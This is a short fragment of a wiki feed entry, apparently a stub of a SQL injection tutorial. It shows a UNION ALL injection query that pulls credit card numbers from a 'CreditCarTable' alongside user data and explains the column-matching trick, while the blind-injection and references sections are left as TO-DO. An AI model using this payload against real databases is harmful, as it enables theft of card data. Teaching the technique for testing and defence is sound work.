&lt;br /&gt;
We got the following query: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query whit all the users credi card. &lt;br /&gt;
The keyword ALL is necessary to go around the query that make use of keyword DISTINCT &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.&lt;br /&gt;
&lt;br /&gt;
== Blind Sql Injection ==&lt;br /&gt;
TO-DO&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
To-DO&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	</feed>